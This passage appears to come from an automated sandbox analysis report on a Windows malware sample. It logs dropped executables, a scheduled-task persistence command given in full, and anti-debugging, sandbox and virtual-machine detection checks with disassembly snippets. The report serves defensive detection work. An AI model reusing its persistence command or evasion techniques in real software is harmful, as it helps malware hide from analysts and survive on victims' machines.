Source: mPQW1NB2Px.exe Static PE information: Raw size of qutbxpsa is bigger than: 0x100000 < 0x1b8400
Contains functionality to dynamically determine API calls
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_00538230 LoadLibraryA,GetProcAddress,FreeLibrary,GetLastError, 9_2_00538230
Entry point lies outside standard sections
Source: initial sample Static PE information: section where entry point is pointing to: .taggant
PE file contains an invalid checksum
Source: mPQW1NB2Px.exe Static PE information: real checksum: 0x44ba7f should be: 0x449f17
PE file contains sections with non-standard names
Source: mPQW1NB2Px.exe Static PE information: section name:
Source: mPQW1NB2Px.exe Static PE information: section name: .idata
Source: mPQW1NB2Px.exe Static PE information: section name:
Source: mPQW1NB2Px.exe Static PE information: section name: qutbxpsa
Source: mPQW1NB2Px.exe Static PE information: section name: alacpqgy
Source: mPQW1NB2Px.exe Static PE information: section name: .taggant
Source: service123.exe.0.dr Static PE information: section name: .eh_fram
Source: ELLRGATenShKoyKeRtXA.dll.0.dr Static PE information: section name: .eh_fram
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_0053A499 push es; iretd 9_2_0053A694
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C810C30 push eax; mov dword ptr [esp], edi 9_2_6C810DAA
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C7DED10 push eax; mov dword ptr [esp], ebx 9_2_6C7DEE33
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C7A8E7A push edx; mov dword ptr [esp], ebx 9_2_6C7A8E8E
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C7B4E31 push eax; mov dword ptr [esp], ebx 9_2_6C7B4E45
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C7AA947 push eax; mov dword ptr [esp], ebx 9_2_6C7AA95B
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C7DEAB0 push eax; mov dword ptr [esp], ebx 9_2_6C7DEBDB
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C7B2AAC push edx; mov dword ptr [esp], ebx 9_2_6C7B2AC0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C7B0AA2 push eax; mov dword ptr [esp], ebx 9_2_6C7B0AB6
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C7C8AA0 push eax; mov dword ptr [esp], ebx 9_2_6C7C909F
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C7E2BF0 push eax; mov dword ptr [esp], ebx 9_2_6C7E2F24
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C7E2BF0 push edx; mov dword ptr [esp], ebx 9_2_6C7E2F43
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C7C8460 push eax; mov dword ptr [esp], ebx 9_2_6C7C8A5F
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C7A8435 push edx; mov dword ptr [esp], ebx 9_2_6C7A8449
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C7A04E0 push eax; mov dword ptr [esp], ebx 9_2_6C7A06DA
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C7A048B push eax; mov dword ptr [esp], ebx 9_2_6C7A04A1
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C781CFA push eax; mov dword ptr [esp], ebx 9_2_6C836622
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C7AA5A7 push eax; mov dword ptr [esp], ebx 9_2_6C7AA5BB
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C781CFA push eax; mov dword ptr [esp], ebx 9_2_6C836622
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C7E2620 push eax; mov dword ptr [esp], ebx 9_2_6C7E2954
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C7E2620 push edx; mov dword ptr [esp], ebx 9_2_6C7E2973
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C7A06FD push eax; mov dword ptr [esp], ebx 9_2_6C7A06DA
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C7A66F3 push edx; mov dword ptr [esp], ebx 9_2_6C7A6707
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C7F06B0 push eax; mov dword ptr [esp], ebx 9_2_6C7F0A4F
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C7A06A2 push eax; mov dword ptr [esp], ebx 9_2_6C7A06DA
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C7B86A1 push 890005EAh; ret 9_2_6C7B86A9
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C7A06A6 push eax; mov dword ptr [esp], ebx 9_2_6C7A06DA
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C7AA777 push eax; mov dword ptr [esp], ebx 9_2_6C7AA78B
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C7A070E push eax; mov dword ptr [esp], ebx 9_2_6C7A06DA
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C7B0042 push eax; mov dword ptr [esp], ebx 9_2_6C7B0056
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C77E0D0 push eax; mov dword ptr [esp], ebx 9_2_6C836AF6
Source: mPQW1NB2Px.exe Static PE information: section name: qutbxpsa entropy: 7.955044109493208
Drops PE files
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe File created: C:\Users\user\AppData\Local\Temp\service123.exe Jump to dropped file
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe File created: C:\Users\user\AppData\Local\Temp\ELLRGATenShKoyKeRtXA.dll Jump to dropped file

Boot Survival
barindex
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe Window searched: window name: Filemonclass Jump to behavior
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Uses schtasks.exe or at.exe to add and modify task schedules
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\user\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion
barindex
Found evasive API chain (may stop execution after checking mutex)
Source: C:\Users\user\AppData\Local\Temp\service123.exe Evasive API call chain: CreateMutex,DecisionNodes,Sleep
Found stalling execution ending in API Sleep call
Source: C:\Users\user\AppData\Local\Temp\service123.exe Stalling execution: Execution stalls by calling Sleep
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Source: mPQW1NB2Px.exe, 00000000.00000003.1382213367.00000000072D0000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: PROCMON.EXE
Source: mPQW1NB2Px.exe, 00000000.00000003.1382213367.00000000072D0000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: X64DBG.EXE
Source: mPQW1NB2Px.exe, 00000000.00000003.1382213367.00000000072D0000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: WINDBG.EXE
Source: mPQW1NB2Px.exe, 00000000.00000003.1382213367.00000000072D0000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: SYSINTERNALSNUM_PROCESSORNUM_RAMNAMEALLFREEDRIVERSNUM_DISPLAYSRESOLUTION_XRESOLUTION_Y\*RECENT_FILESPROCESSESUPTIME_MINUTESC:\WINDOWS\SYSTEM32\VBOX*.DLL01VBOX_FIRSTSYSTEM\CONTROLSET001\SERVICES\VBOXSFVBOX_SECONDC:\USERS\PUBLIC\PUBLIC_CHECKWINDBG.EXEDBGWIRESHARK.EXEPROCMON.EXEX64DBG.EXEIDA.EXEDBG_SECDBG_THIRDYADROINSTALLED_APPSSOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALLSOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL%D%S\%SDISPLAYNAMEAPP_NAMEINDEXCREATETOOLHELP32SNAPSHOT FAILED.
Source: mPQW1NB2Px.exe, 00000000.00000003.1382213367.00000000072D0000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: WIRESHARK.EXE
Tries to detect virtualization through RDTSC time measurements
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E49F95 second address: E49FE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F09FCB08899h 0x0000000b popad 0x0000000c popad 0x0000000d pushad 0x0000000e jl 00007F09FCB08892h 0x00000014 push esi 0x00000015 jmp 00007F09FCB08892h 0x0000001a pop esi 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E4A272 second address: E4A28E instructions: 0x00000000 rdtsc 0x00000002 ja 00007F09FCF89C16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b jg 00007F09FCF89C38h 0x00000011 pushad 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 jns 00007F09FCF89C16h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E4A28E second address: E4A297 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E4A297 second address: E4A29B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E4A3E2 second address: E4A3E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E4A3E6 second address: E4A3EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E4A3EC second address: E4A407 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F09FCB0888Fh 0x0000000b popad 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E4A407 second address: E4A40B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E4A40B second address: E4A411 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E4A711 second address: E4A715 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E4A715 second address: E4A71B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E4CE7F second address: E4CE84 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E4D021 second address: E4D025 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E4D025 second address: E4D029 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E4D029 second address: E4D02F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E4D02F second address: E4D039 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F09FCF89C16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E4D039 second address: E4D064 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F09FCB08896h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jng 00007F09FCB0888Ch 0x00000014 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E4D064 second address: E4D06A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E4D06A second address: E4D06E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E4D06E second address: E4D0AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 and ecx, dword ptr [ebp+122D3791h] 0x0000000f push 00000000h 0x00000011 mov edi, dword ptr [ebp+122D2BAAh] 0x00000017 call 00007F09FCF89C19h 0x0000001c jmp 00007F09FCF89C23h 0x00000021 push eax 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F09FCF89C1Ah 0x00000029 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E4D0AE second address: E4D0B8 instructions: 0x00000000 rdtsc 0x00000002 js 00007F09FCB0888Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E4D0B8 second address: E4D0C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a pushad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E4D0C6 second address: E4D0E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F09FCB08886h 0x0000000a popad 0x0000000b jmp 00007F09FCB08891h 0x00000010 popad 0x00000011 mov eax, dword ptr [eax] 0x00000013 push edx 0x00000014 push ebx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E4D0E9 second address: E4D108 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F09FCF89C23h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E4D108 second address: E4D10D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E4D10D second address: E4D15D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F09FCF89C16h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pop eax 0x0000000e mov edi, dword ptr [ebp+122D28A2h] 0x00000014 push 00000003h 0x00000016 jmp 00007F09FCF89C27h 0x0000001b push 00000000h 0x0000001d mov dword ptr [ebp+122D1BD6h], eax 0x00000023 push 00000003h 0x00000025 push eax 0x00000026 push eax 0x00000027 push ecx 0x00000028 pop esi 0x00000029 pop edx 0x0000002a pop esi 0x0000002b call 00007F09FCF89C19h 0x00000030 push eax 0x00000031 push edx 0x00000032 push esi 0x00000033 ja 00007F09FCF89C16h 0x00000039 pop esi 0x0000003a rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E4D15D second address: E4D1A5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F09FCB0888Ch 0x00000008 jmp 00007F09FCB0888Ch 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 jmp 00007F09FCB08897h 0x00000016 mov eax, dword ptr [esp+04h] 0x0000001a push eax 0x0000001b push edx 0x0000001c jg 00007F09FCB0888Ch 0x00000022 jg 00007F09FCB08886h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E4D1A5 second address: E4D1C8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F09FCF89C28h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E4D1C8 second address: E4D1CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E4D1CC second address: E4D1DA instructions: 0x00000000 rdtsc 0x00000002 js 00007F09FCF89C16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E4D1DA second address: E4D1DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E4D1DE second address: E4D21E instructions: 0x00000000 rdtsc 0x00000002 jo 00007F09FCF89C16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f jmp 00007F09FCF89C23h 0x00000014 pop eax 0x00000015 mov dword ptr [ebp+122D17FAh], ebx 0x0000001b lea ebx, dword ptr [ebp+12450D6Bh] 0x00000021 mov esi, dword ptr [ebp+122D2A12h] 0x00000027 push eax 0x00000028 push eax 0x00000029 push edx 0x0000002a js 00007F09FCF89C1Ch 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E4D21E second address: E4D222 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E4D2BE second address: E4D306 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F09FCF89C1Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F09FCF89C24h 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 je 00007F09FCF89C26h 0x00000019 jmp 00007F09FCF89C20h 0x0000001e mov eax, dword ptr [eax] 0x00000020 push eax 0x00000021 push edx 0x00000022 push ecx 0x00000023 pushad 0x00000024 popad 0x00000025 pop ecx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E4D424 second address: E4D429 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E4D429 second address: E4D42F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E6CBC1 second address: E6CBCC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007F09FCB08886h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E6CE4A second address: E6CE50 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E6CE50 second address: E6CE62 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F09FCB0888Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E6CE62 second address: E6CE68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E6D176 second address: E6D17C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E6D465 second address: E6D46B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E6D46B second address: E6D471 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
